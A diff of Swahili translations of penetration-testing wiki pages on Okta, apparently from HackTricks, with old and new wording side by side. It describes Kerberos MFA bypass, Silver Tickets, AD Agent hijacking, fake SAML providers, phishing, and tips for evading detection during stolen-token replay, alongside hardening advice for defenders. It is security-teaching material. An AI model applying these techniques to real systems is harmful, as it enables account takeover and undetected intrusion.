Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikiaji wa watumiaji, ikiongeza usalama na urahisi. Uwezo wa suluhisho za Okta unafanya kuwa chaguo maarufu katika sekta mbalimbali, zikiwa na manufaa kwa makampuni makubwa, kampuni ndogo, na waendelezaji binafsi. Kufikia sasisho la mwisho mnamo Septemba 2021, Okta inatambuliwa kama chombo muhimu katika eneo la Usimamizi wa Utambulisho na Ufikiaji (IAM).
|
||||
Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikiaji wa watumiaji, kuimarisha usalama na urahisi. Uwezo wa suluhisho za Okta unafanya kuwa chaguo maarufu katika sekta mbalimbali, zikiwa na manufaa kwa makampuni makubwa, kampuni ndogo, na waendelezaji binafsi. Kufikia sasisho la mwisho mnamo Septemba 2021, Okta inatambuliwa kama chombo muhimu katika eneo la Usimamizi wa Utambulisho na Ufikiaji (IAM).
|
||||
|
||||
> [!CAUTION]
|
||||
> Lengo kuu la Okta ni kuunda ufikiaji kwa watumiaji na vikundi tofauti kwa programu za nje. Ikiwa utaweza **kudhoofisha haki za msimamizi katika mazingira ya Oktas**, kuna uwezekano mkubwa wa **kudhoofisha majukwaa mengine yote ambayo kampuni inatumia**.
|
||||
@@ -24,14 +24,14 @@ Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikia
|
||||
|
||||
### Summary
|
||||
|
||||
Kuna **watumiaji** (ambao wanaweza **kuhifadhiwa katika Okta,** kuingia kutoka kwa **Watoa Utambulisho** waliowekwa au kuthibitishwa kupitia **Active Directory** au LDAP).\
|
||||
Kuna **watumiaji** (ambao wanaweza **kuhifadhiwa katika Okta,** kuingia kutoka **Watoa Utambulisho** waliowekwa au kuthibitishwa kupitia **Active Directory** au LDAP).\
|
||||
Watumiaji hawa wanaweza kuwa ndani ya **vikundi**.\
|
||||
Kuna pia **wauthentikishaji**: chaguzi tofauti za kuthibitisha kama nywila, na 2FA kadhaa kama WebAuthn, barua pepe, simu, okta verify (zinaweza kuwa zimewezeshwa au kuzuiliwa)...
|
||||
Kuna pia **wauthenticators**: chaguzi tofauti za kuthibitisha kama nywila, na 2FA kadhaa kama WebAuthn, barua pepe, simu, okta verify (zinaweza kuwa zimewezeshwa au kuzuiliwa)...
|
||||
|
||||
Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ramani fulani na Okta** ili kushiriki habari (kama anwani za barua pepe, majina ya kwanza...). Aidha, kila programu lazima iwe ndani ya **Sera ya Uthibitishaji**, ambayo inaonyesha **wauthentikishaji wanaohitajika** kwa mtumiaji ili **kuingia** kwenye programu.
|
||||
Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ramani na Okta** ili kushiriki taarifa (kama anwani za barua pepe, majina ya kwanza...). Aidha, kila programu lazima iwe ndani ya **Sera ya Uthibitishaji**, ambayo inaonyesha **wauthenticators** zinazohitajika kwa mtumiaji ili **kuingia** kwenye programu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nafasi yenye nguvu zaidi ni **Super Administrator**.
|
||||
> Jukumu lenye nguvu zaidi ni **Super Administrator**.
|
||||
>
|
||||
> Ikiwa mshambuliaji atakudhoofisha Okta kwa ufikiaji wa Msimamizi, programu zote **zinazoamini Okta** zitakuwa na uwezekano mkubwa wa **kudhoofishwa**.
|
||||
|
||||
@@ -39,46 +39,46 @@ Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ra
|
||||
|
||||
### Locating Okta Portal
|
||||
|
||||
Kawaida, lango la kampuni litakuwa katika **companyname.okta.com**. Ikiwa sivyo, jaribu **mabadiliko rahisi** ya **companyname.** Ikiwa huwezi kulipata, pia inawezekana kwamba shirika lina rekodi ya **CNAME** kama **`okta.companyname.com`** ikielekeza kwenye **Okta portal**.
|
||||
Kawaida lango la kampuni litakuwa katika **companyname.okta.com**. Ikiwa sivyo, jaribu **mabadiliko rahisi** ya **companyname.** Ikiwa huwezi kulipata, pia inawezekana kwamba shirika lina rekodi ya **CNAME** kama **`okta.companyname.com`** ikielekeza kwenye **Okta portal**.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
Ikiwa **`companyname.kerberos.okta.com`** inafanya kazi, **Kerberos inatumika kwa ufikiaji wa Okta**, kawaida ikiepuka **MFA** kwa watumiaji wa **Windows**. Ili kupata watumiaji wa Okta walioidhinishwa na Kerberos katika AD, endesha **`getST.py`** na **parameta zinazofaa**. Baada ya kupata **tiketi ya mtumiaji wa AD**, **ingiza** kwenye mwenyeji aliye na udhibiti kwa kutumia zana kama Rubeus au Mimikatz, kuhakikisha **`clientname.kerberos.okta.com` iko katika eneo la "Intranet" la Chaguzi za Mtandao**. Kufikia URL maalum kunapaswa kurudisha jibu la JSON "OK", ikionyesha kukubaliwa kwa tiketi ya Kerberos, na kutoa ufikiaji wa dashibodi ya Okta.
|
||||
|
||||
Kudhoofisha **akaunti ya huduma ya Okta na SPN ya uwakilishi inaruhusu shambulio la Silver Ticket.** Hata hivyo, matumizi ya Okta ya **AES** kwa ajili ya usimbaji wa tiketi yanahitaji kuwa na ufunguo wa AES au nywila ya wazi. Tumia **`ticketer.py` kutengeneza tiketi kwa mtumiaji wa mwathirika** na kuisambaza kupitia kivinjari ili kuthibitisha na Okta.
|
||||
Kudhoofisha **akaunti ya huduma ya Okta na SPN ya uwakilishi inaruhusu shambulio la Silver Ticket.** Hata hivyo, matumizi ya Okta ya **AES** kwa ajili ya usimbaji wa tiketi yanahitaji kuwa na ufunguo wa AES au nywila ya wazi. Tumia **`ticketer.py` kutengeneza tiketi kwa mtumiaji wa kidhulumu** na kuisambaza kupitia kivinjari ili kuthibitisha na Okta.
|
||||
|
||||
**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
Teknolojia hii inahusisha **kupata Okta AD Agent kwenye seva**, ambayo **inasawazisha watumiaji na kushughulikia uthibitishaji**. Kwa kuchunguza na kufichua mipangilio katika **`OktaAgentService.exe.config`**, hasa AgentToken kwa kutumia **DPAPI**, mshambuliaji anaweza kwa urahisi **kukamata na kubadilisha data za uthibitishaji**. Hii inaruhusu si tu **kuangalia** na **kukamata akisi za mtumiaji** kwa wazi wakati wa mchakato wa uthibitishaji wa Okta bali pia **kujibu majaribio ya uthibitishaji**, hivyo kuruhusu ufikiaji usioidhinishwa au kutoa uthibitishaji wa ulimwengu wote kupitia Okta (kama funguo ya 'skeleton').
|
||||
Teknolojia hii inahusisha **kupata Okta AD Agent kwenye seva**, ambayo **inasawazisha watumiaji na kushughulikia uthibitishaji**. Kwa kuchunguza na kufichua mipangilio katika **`OktaAgentService.exe.config`**, hasa AgentToken kwa kutumia **DPAPI**, mshambuliaji anaweza kwa urahisi **kukamata na kubadilisha data za uthibitishaji**. Hii inaruhusu si tu **kuangalia** na **kukamata akauti za watumiaji** kwa wazi wakati wa mchakato wa uthibitishaji wa Okta bali pia **kujibu majaribio ya uthibitishaji**, hivyo kuruhusu ufikiaji usioidhinishwa au kutoa uthibitishaji wa ulimwengu wote kupitia Okta (kama funguo 'skeleton').
|
||||
|
||||
**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
Teknolojia hii inahusisha kudhibiti Okta AD Agent kwa kwanza kupata OAuth Code, kisha kuomba token ya API. Token hiyo inahusishwa na eneo la AD, na **kiunganishi kinaitwa kuanzisha wakala wa AD wa uwongo**. Kuanzisha kunaruhusu wakala **kushughulikia majaribio ya uthibitishaji**, kukamata akisi kupitia API ya Okta. Zana za kiotomatiki zinapatikana ili kurahisisha mchakato huu, zikitoa njia rahisi ya kukamata na kushughulikia data za uthibitishaji ndani ya mazingira ya Okta.
|
||||
Teknolojia hii inahusisha kudhibiti Okta AD Agent kwa kwanza kupata OAuth Code, kisha kuomba token ya API. Token hiyo inahusishwa na eneo la AD, na **kiunganishi kinaitwa kuanzisha wakala wa AD wa uwongo**. Kuanzisha kunaruhusu wakala **kushughulikia majaribio ya uthibitishaji**, kukamata akauti kupitia API ya Okta. Zana za kiotomatiki zinapatikana ili kurahisisha mchakato huu, zikitoa njia isiyo na mshono ya kukamata na kushughulikia data za uthibitishaji ndani ya mazingira ya Okta.
|
||||
|
||||
**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
|
||||
**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
Teknolojia hii inahusisha **kuanzisha mtoa huduma wa SAML wa uwongo**. Kwa kuunganisha Mtoa Utambulisho wa nje (IdP) ndani ya mfumo wa Okta kwa kutumia akaunti yenye mamlaka, washambuliaji wanaweza **kudhibiti IdP, wakikubali ombi lolote la uthibitishaji kwa mapenzi yao**. Mchakato huu unajumuisha kuanzisha IdP ya SAML 2.0 katika Okta, kubadilisha URL ya SSO ya IdP kwa ajili ya kuelekeza kupitia faili ya wenyeji wa ndani, kutengeneza cheti kilichojisajili, na kuunda mipangilio ya Okta ili kulinganisha na jina la mtumiaji au barua pepe. Kutekeleza hatua hizi kwa mafanikio kunaruhusu uthibitishaji kama mtumiaji yeyote wa Okta, bila kuhitaji akisi za mtumiaji binafsi, na kuongeza udhibiti wa ufikiaji kwa njia ambayo inaweza kutokewa.
|
||||
Teknolojia hii inahusisha **kuanzisha mtoa huduma wa SAML wa uwongo**. Kwa kuunganisha Mtoa Utambulisho wa nje (IdP) ndani ya mfumo wa Okta kwa kutumia akaunti yenye mamlaka, washambuliaji wanaweza **kudhibiti IdP, wakikubali ombi lolote la uthibitishaji kwa hiari**. Mchakato huu unajumuisha kuanzisha IdP ya SAML 2.0 katika Okta, kubadilisha URL ya SSO ya IdP kwa ajili ya kuelekeza kupitia faili ya wenyeji wa ndani, kutengeneza cheti kilichojisajili, na kuunda mipangilio ya Okta ili kulinganisha dhidi ya jina la mtumiaji au barua pepe. Kutekeleza hatua hizi kwa mafanikio kunaruhusu uthibitishaji kama mtumiaji yeyote wa Okta, ikiepuka hitaji la akauti za mtumiaji binafsi, na kuimarisha udhibiti wa ufikiaji kwa njia isiyoonekana.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
Katika [**hiki kipande cha blogi**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) inaelezwa jinsi ya kuandaa kampeni ya phishing dhidi ya lango la Okta.
|
||||
Katika [**hiki kipande cha blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) kinaelezewa jinsi ya kuandaa kampeni ya uvuvi dhidi ya lango la Okta.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
**Sifa ambazo kila mtumiaji anaweza kuwa nazo na kubadilisha** (kama barua pepe au jina la kwanza) zinaweza kuundwa katika Okta. Ikiwa **programu** inakubali kama ID **sifa** ambayo mtumiaji anaweza **kubadilisha**, ataweza **kujifanya kuwa watumiaji wengine katika jukwaa hilo**.
|
||||
**sifa ambazo kila mtumiaji anaweza kuwa nazo na kubadilisha** (kama barua pepe au jina la kwanza) zinaweza kuundwa katika Okta. Ikiwa **programu** inakubali kama ID **sifa** ambayo mtumiaji anaweza **kubadilisha**, ataweza **kujifanya kuwa watumiaji wengine katika jukwaa hilo**.
|
||||
|
||||
Hivyo basi, ikiwa programu inakubali uwanja wa **`userName`**, huenda usiweze kuubadilisha (kwa sababu huwezi kubadilisha uwanja huo), lakini ikiwa inakubali kwa mfano **`primaryEmail`** unaweza kuwa na uwezo wa **kuubadilisha kuwa anwani ya barua pepe ya mwenzako** na kujifanya (utahitaji kuwa na ufikiaji wa barua pepe na kukubali mabadiliko).
|
||||
Hivyo, ikiwa programu inakubali uwanja **`userName`**, huenda usiweze kuubadilisha (kwa sababu kawaida huwezi kubadilisha uwanja huo), lakini ikiwa inakubali kwa mfano **`primaryEmail`** unaweza kuwa na uwezo wa **kuubadilisha kuwa anwani ya barua pepe ya mwenzako** na kujifanya (utahitaji kuwa na ufikiaji wa barua pepe na kukubali mabadiliko).
|
||||
|
||||
Kumbuka kwamba hii kujifanya inategemea jinsi kila programu ilivyoundwa. Ni zile tu zinazokubali uwanja uliohubadilishwa na kukubali masasisho zitakazodhuriwa.\
|
||||
Hivyo basi, programu inapaswa kuwa na uwanja huu umewezeshwa ikiwa upo:
|
||||
Kumbuka kwamba hii kujifanya inategemea jinsi kila programu ilivyoundwa. Ni zile tu zinazokubali uwanja uliohubiriwa na kukubali masasisho zitakazodhuriwa.\
|
||||
Hivyo, programu inapaswa kuwa na uwanja huu umewezeshwa ikiwa upo:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -88,19 +88,19 @@ Njia bora ya kujua ikiwa unaweza kujifanya kuwa mtu yeyote kwenye kila programu
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Sera za kugundua tabia katika Okta zinaweza kuwa hazijulikani hadi zipatikane, lakini **kuzipita** kunaweza kufanywa kwa **kulenga programu za Okta moja kwa moja**, kuepuka dashibodi kuu ya Okta. Kwa kutumia **token ya ufikiaji wa Okta**, rudia token hiyo kwenye **URL maalum ya Okta ya programu** badala ya ukurasa kuu wa kuingia.
|
||||
Sera za kugundua tabia katika Okta zinaweza kuwa hazijulikani hadi zipatikane, lakini **kuziepuka** kunaweza kufikiwa kwa **kulenga programu za Okta moja kwa moja**, kuepuka dashibodi kuu ya Okta. Kwa kutumia **token ya ufikiaji wa Okta**, rudia token hiyo kwenye **URL maalum ya Okta ya programu** badala ya ukurasa kuu wa kuingia.
|
||||
|
||||
Mapendekezo muhimu ni pamoja na:
|
||||
|
||||
- **Epuka kutumia** proxies maarufu za anonymizer na huduma za VPN unapofanya kurudiwa kwa token za ufikiaji zilizokamatwa.
|
||||
- Hakikisha **nyuzi za mtumiaji zinazofanana** kati ya mteja na token za ufikiaji zilizorejeshwa.
|
||||
- **Epuka kurudi token** kutoka kwa watumiaji tofauti kutoka anwani moja ya IP.
|
||||
- Fanya makini unapofanya kurudi token dhidi ya dashibodi ya Okta.
|
||||
- Ikiwa unajua anwani za IP za kampuni ya mwathirika, **punguza trafiki** kwa hizo IP au anuwai yao, ukizuia trafiki nyingine zote.
|
||||
- **Epuka kutumia** proxies maarufu za kujificha na huduma za VPN unapofanya rudia token za ufikiaji zilizokamatwa.
|
||||
- Hakikisha **mifumo ya mtumiaji inayofanana** kati ya mteja na token za ufikiaji zilizorudiwa.
|
||||
- **Epuka kurudia** token kutoka kwa watumiaji tofauti kutoka anwani moja ya IP.
|
||||
- Fanya makini unapofanya rudia token dhidi ya dashibodi ya Okta.
|
||||
- Ikiwa unajua anwani za IP za kampuni ya kidhulumu, **punguza trafiki** kwa hizo IP au anuwai yao, ukizuia trafiki nyingine zote.
|
||||
|
||||
## Okta Hardening
|
||||
|
||||
Okta ina mipangilio mingi inayowezekana, katika ukurasa huu utapata jinsi ya kuzikagua ili ziwe salama kadri inavyowezekana:
|
||||
Okta ina mipangilio mingi inayowezekana, katika ukurasa huu utaona jinsi ya kuzikagua ili ziwe salama kadri inavyowezekana:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
|
||||
@@ -12,12 +12,12 @@ Kwa ukaguzi wa whitebox hakikisha kuwa hakuna "**Hatua ya mtumiaji inayosubiri**
|
||||
|
||||
### Groups
|
||||
|
||||
Hapa ndipo unapata makundi yote yaliyoanzishwa katika Okta. Ni ya kuvutia kuelewa makundi tofauti (seti ya **idhini**) ambayo yanaweza kutolewa kwa **watumiaji**.\
|
||||
Inawezekana kuona **watu walio ndani ya makundi** na **programu zilizotengwa** kwa kila kundi.
|
||||
Hapa ndipo unapata makundi yote yaliyoanzishwa katika Okta. Ni muhimu kuelewa makundi tofauti (seti ya **idhini**) ambayo yanaweza kutolewa kwa **watumiaji**.\
|
||||
Inawezekana kuona **watu walio ndani ya makundi** na **programu zilizotolewa** kwa kila kundi.
|
||||
|
||||
Kwa kweli, kundi lolote lenye jina la **admin** ni la kuvutia, hasa kundi la **Wasimamizi wa Kimataifa,** angalia wanachama kujua ni nani wanachama wenye mamlaka zaidi.
|
||||
|
||||
Kutoka kwa ukaguzi wa whitebox, **hakupaswi kuwa na wasimamizi wa kimataifa zaidi ya 5** (ni bora ikiwa kuna 2 au 3 tu).
|
||||
Kutoka kwa ukaguzi wa whitebox, **hakupaswi kuwa na wasimamizi zaidi ya 5 wa kimataifa** (ni bora ikiwa kuna 2 au 3 tu).
|
||||
|
||||
### Devices
|
||||
|
||||
@@ -25,21 +25,21 @@ Pata hapa **orodha ya vifaa vyote** vya watumiaji wote. Unaweza pia kuona ikiwa
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Hapa inawezekana kuona jinsi taarifa muhimu kama vile majina ya kwanza, majina ya mwisho, barua pepe, majina ya mtumiaji... zinavyoshirikiwa kati ya Okta na programu nyingine. Hii ni ya kuvutia kwa sababu ikiwa mtumiaji anaweza **kubadilisha katika Okta uwanja** (kama jina lake au barua pepe) ambayo kisha inatumika na **programu ya nje** ili **kutambua** mtumiaji, mtu wa ndani anaweza kujaribu **kuchukua akaunti nyingine**.
|
||||
Hapa inawezekana kuona jinsi taarifa muhimu kama vile majina ya kwanza, majina ya mwisho, barua pepe, majina ya watumiaji... zinavyoshirikiwa kati ya Okta na programu nyingine. Hii ni ya kuvutia kwa sababu ikiwa mtumiaji anaweza **kubadilisha katika Okta uwanja** (kama jina lake au barua pepe) ambayo kisha inatumika na **programu ya nje** ili **kutambua** mtumiaji, mtu wa ndani anaweza kujaribu **kuchukua akaunti nyingine**.
|
||||
|
||||
Zaidi ya hayo, katika profaili **`User (default)`** kutoka Okta unaweza kuona **ni viwanja gani** kila **mtumiaji** ana na ni vipi **vinavyoweza kuandikwa** na watumiaji. Ikiwa huwezi kuona paneli ya admin, nenda tu **sasisha taarifa za profaili yako** na utaona ni viwanja gani unaweza kusasisha (kumbuka kuwa ili kusasisha anwani ya barua pepe utahitaji kuithibitisha).
|
||||
Zaidi ya hayo, katika profaili **`User (default)`** kutoka Okta unaweza kuona **ni uwanja gani** kila **mtumiaji** ana na ni yupi ni **unaoweza kubadilishwa** na watumiaji. Ikiwa huwezi kuona paneli ya admin, nenda tu **sasisha taarifa yako ya profaili** na utaona ni uwanja gani unaweza kusasisha (kumbuka kuwa ili kusasisha anwani ya barua pepe utahitaji kuithibitisha).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Maktaba zinakuwezesha kuingiza watu kutoka vyanzo vilivyopo. Nadhani hapa utaona watumiaji waliingizwa kutoka maktaba nyingine.
|
||||
|
||||
Sijawahi kuona, lakini nadhani hii ni ya kuvutia kugundua **maktaba nyingine ambazo Okta inatumia kuingiza watumiaji** ili ikiwa **utavunja maktaba hiyo** unaweza kuweka baadhi ya thamani za sifa katika watumiaji walioundwa katika Okta na **labda kuathiri mazingira ya Okta**.
|
||||
Sijawahi kuona, lakini nadhani hii ni ya kuvutia kugundua **maktaba nyingine ambazo Okta inatumia kuingiza watumiaji** ili ikiwa **utavunja maktaba hiyo** unaweza kuweka baadhi ya thamani za sifa katika watumiaji walioundwa katika Okta na **labda uvunje mazingira ya Okta**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
Chanzo cha profaili ni **programu inayofanya kazi kama chanzo cha ukweli** kwa sifa za profaili za mtumiaji. Mtumiaji anaweza tu kutolewa na programu au maktaba moja kwa wakati mmoja.
|
||||
|
||||
Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na uhalifu kuhusu chaguo hili inathaminiwa.
|
||||
Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na udukuzi kuhusu chaguo hili inathaminiwa.
|
||||
|
||||
## Customizations
|
||||
|
||||
@@ -47,7 +47,7 @@ Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na uhalifu kuhusu chaguo hil
|
||||
|
||||
Angalia katika tab ya **Domains** ya sehemu hii anwani za barua pepe zinazotumika kutuma barua pepe na jina la kikoa maalum ndani ya Okta la kampuni (ambalo huenda tayari unalijua).
|
||||
|
||||
Zaidi ya hayo, katika tab ya **Setting**, ikiwa wewe ni admin, unaweza "**Tumia ukurasa maalum wa kutoka**" na kuweka URL maalum.
|
||||
Zaidi ya hayo, katika tab ya **Setting**, ikiwa wewe ni admin, unaweza "**Tumia ukurasa maalum wa kutolewa**" na kuweka URL maalum.
|
||||
|
||||
### SMS
|
||||
|
||||
@@ -90,19 +90,19 @@ Sijawahi kuona ikitumika, lakini nadhani kutoka kwa mtazamo wa kujihami ni kipen
|
||||
- **Barua pepe za arifa za usalama**: Zote zinapaswa kuwezeshwa.
|
||||
- **Ushirikiano wa CAPTCHA**: Inapendekezwa kuweka angalau reCaptcha isiyoonekana
|
||||
- **Usalama wa Shirika**: Kila kitu kinaweza kuwezeshwa na barua pepe za uanzishaji hazipaswi kudumu kwa muda mrefu (siku 7 ni sawa)
|
||||
- **Kuzuia kuhesabu watumiaji**: Zote zinapaswa kuwezeshwa
|
||||
- Kumbuka kuwa Kuzuia Kuangalia Watumiaji hakutatumika ikiwa mojawapo ya masharti yafuatayo yanaruhusiwa (Tazama [Usimamizi wa watumiaji](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) kwa maelezo zaidi):
|
||||
- **Kuzuia uainishaji wa watumiaji**: Zote zinapaswa kuwezeshwa
|
||||
- Kumbuka kuwa Kuzuia Uainishaji wa Watumiaji hakutakuwa na athari ikiwa mojawapo ya hali zifuatazo zitaruhusiwa (Tazama [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) kwa maelezo zaidi):
|
||||
- Usajili wa Huduma ya Kibinafsi
|
||||
- Mchakato wa JIT na uthibitisho wa barua pepe
|
||||
- **Mipangilio ya Okta ThreatInsight**: Rekodi na enforce usalama kulingana na kiwango cha tishio
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Hapa inawezekana kupata mipangilio **iliyowekwa** kwa usahihi na **hatari**.
|
||||
Hapa inawezekana kupata mipangilio iliyowekwa kwa usahihi na **hatari**.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Hapa unaweza kupata njia zote za uthibitishaji ambazo mtumiaji anaweza kutumia: Nenosiri, simu, barua pepe, nambari, WebAuthn... Bonyeza kwenye uthibitishaji wa Nenosiri unaweza kuona **sera ya nenosiri**. Hakikisha kuwa ni imara.
|
||||
Hapa unaweza kupata njia zote za uthibitishaji ambazo mtumiaji anaweza kutumia: Nenosiri, simu, barua pepe, msimbo, WebAuthn... Ukibonyeza kwenye uthibitishaji wa Nenosiri unaweza kuona **sera ya nenosiri**. Hakikisha kuwa ni imara.
|
||||
|
||||
Katika tab ya **Enrollment** unaweza kuona jinsi zile zinazohitajika au za hiari:
|
||||
|
||||
@@ -114,21 +114,21 @@ Inapendekezwa kuzima Simu. Njia zenye nguvu zaidi ni pengine mchanganyiko wa nen
|
||||
|
||||
Kila programu ina sera ya uthibitishaji. Sera ya uthibitishaji inathibitisha kuwa watumiaji wanaojaribu kuingia kwenye programu wanakidhi masharti maalum, na inatekeleza mahitaji ya vipengele kulingana na masharti hayo.
|
||||
|
||||
Hapa unaweza kupata **mahitaji ya kufikia kila programu**. Inapendekezwa kutaka angalau nenosiri na njia nyingine kwa kila programu. Lakini ikiwa kama mshambuliaji unapata kitu chochote dhaifu unaweza kuwa na uwezo wa kukishambulia.
|
||||
Hapa unaweza kupata **mahitaji ya kufikia kila programu**. Inapendekezwa kuomba angalau nenosiri na njia nyingine kwa kila programu. Lakini ikiwa kama mshambuliaji unapata kitu dhaifu zaidi unaweza kuwa na uwezo wa kukishambulia.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Hapa unaweza kupata sera za kikao zilizotengwa kwa makundi tofauti. Kwa mfano:
|
||||
Hapa unaweza kupata sera za kikao zilizotolewa kwa makundi tofauti. Kwa mfano:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Inapendekezwa kutaka MFA, kupunguza muda wa kikao kuwa masaa kadhaa, usihifadhi kuki za kikao kupitia nyongeza za kivinjari na kupunguza eneo na Mtoa Kitambulisho (ikiwa hii inawezekana). Kwa mfano, ikiwa kila mtumiaji anapaswa kuingia kutoka nchi fulani unaweza kuruhusu tu eneo hili.
|
||||
Inapendekezwa kuomba MFA, kupunguza muda wa kikao kuwa masaa kadhaa, usiweke cookies za kikao katika nyongeza za kivinjari na upunguze eneo na Mtoa Kitambulisho (ikiwa hii inawezekana). Kwa mfano, ikiwa kila mtumiaji anapaswa kuingia kutoka nchi fulani unaweza kuruhusu tu eneo hili.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Watoa Kitambulisho (IdPs) ni huduma ambazo **zinatawala akaunti za watumiaji**. Kuongeza IdPs katika Okta kunawawezesha watumiaji wako wa mwisho **kujiandikisha wenyewe** na programu zako maalum kwa kuanza kuthibitisha na akaunti ya kijamii au kadi ya smart.
|
||||
Mtoa Kitambulisho (IdPs) ni huduma ambazo **zinashughulikia akaunti za watumiaji**. Kuongeza IdPs katika Okta kunawawezesha watumiaji wako wa mwisho **kujiandikisha wenyewe** na programu zako maalum kwa kuanza kuthibitisha na akaunti ya kijamii au kadi ya smart.
|
||||
|
||||
Katika ukurasa wa Watoa Kitambulisho, unaweza kuongeza kuingia kwa kijamii (IdPs) na kuunda Okta kama mtoa huduma (SP) kwa kuongeza SAML ya ndani. Baada ya kuongeza IdPs, unaweza kuunda sheria za kuelekeza watumiaji kwa IdP kulingana na muktadha, kama vile eneo la mtumiaji, kifaa, au kikoa cha barua pepe.
|
||||
Katika ukurasa wa Mtoa Kitambulisho, unaweza kuongeza logins za kijamii (IdPs) na kuunda Okta kama mtoa huduma (SP) kwa kuongeza SAML ya ndani. Baada ya kuongeza IdPs, unaweza kuweka sheria za kuelekeza watumiaji kwa IdP kulingana na muktadha, kama vile eneo la mtumiaji, kifaa, au kikoa cha barua pepe.
|
||||
|
||||
**Ikiwa mtoa kitambulisho yeyote amewekwa** kutoka kwa mtazamo wa washambuliaji na walinzi angalia mipangilio hiyo na **ikiwa chanzo ni cha kuaminika kweli** kwani mshambuliaji anayevunja inaweza pia kupata ufikiaji wa mazingira ya Okta.
|
||||
|
||||
@@ -136,11 +136,11 @@ Katika ukurasa wa Watoa Kitambulisho, unaweza kuongeza kuingia kwa kijamii (IdPs
|
||||
|
||||
Uthibitishaji wa wakala unaruhusu watumiaji kuingia katika Okta kwa kuingiza taarifa za kuingia za **Active Directory (AD) au LDAP** ya shirika lao.
|
||||
|
||||
Tena, angalia hii, kwani mshambuliaji anayevunja AD ya shirika anaweza kuwa na uwezo wa kuhamasisha Okta kutokana na mipangilio hii.
|
||||
Tena, angalia hii, kwani mshambuliaji anayevunja AD ya shirika anaweza kuwa na uwezo wa kuhamasisha Okta kwa sababu ya mipangilio hii.
|
||||
|
||||
### Network
|
||||
|
||||
Eneo la mtandao ni mpaka unaoweza kubadilishwa ambao unaweza kutumia ili **kutoa au kupunguza ufikiaji wa kompyuta na vifaa** katika shirika lako kulingana na **anwani ya IP** inayotafuta ufikiaji. Unaweza kufafanua eneo la mtandao kwa kubainisha moja au zaidi ya anwani za IP, anuwai za anwani za IP, au maeneo ya kijiografia.
|
||||
Eneo la mtandao ni mpaka unaoweza kubadilisha ambao unaweza kutumia ili **kutoa au kupunguza ufikiaji wa kompyuta na vifaa** katika shirika lako kulingana na **anwani ya IP** inayotafuta ufikiaji. Unaweza kufafanua eneo la mtandao kwa kubainisha moja au zaidi ya anwani za IP, anuwai za anwani za IP, au maeneo ya kijiografia.
|
||||
|
||||
Baada ya kufafanua moja au zaidi ya maeneo ya mtandao, unaweza **kuvitumia katika Sera za Kikao za Kimataifa**, **sera za uthibitishaji**, arifa za VPN, na **sheria za kuelekeza**.
|
||||
|
||||
@@ -154,19 +154,19 @@ Kutoka kwa mtazamo wa washambuliaji ni ya kuvutia kujua ni IP zipi zinazoruhusiw
|
||||
|
||||
### API
|
||||
|
||||
Unaweza kuunda token za API za Okta katika ukurasa huu, na kuona zile ambazo zime **undwa**, **mamlaka** zao, muda wa **kuisha** na **URLs za Chanzo**. Kumbuka kuwa token za API zinaundwa kwa ruhusa za mtumiaji aliyekuwa ameunda token hiyo na ni halali tu ikiwa **mtumiaji** aliyekuwa ameunda ni **hai**.
|
||||
Unaweza kuunda token za Okta API katika ukurasa huu, na kuona zile ambazo zime **undwa**, **mamlaka** zao, muda wa **kuisha** na **URLs za Chanzo**. Kumbuka kuwa token za API zinaundwa kwa ruhusa za mtumiaji aliyekuwa ameunda token hiyo na ni halali tu ikiwa **mtumiaji** aliyekuwa ameunda ni **hai**.
|
||||
|
||||
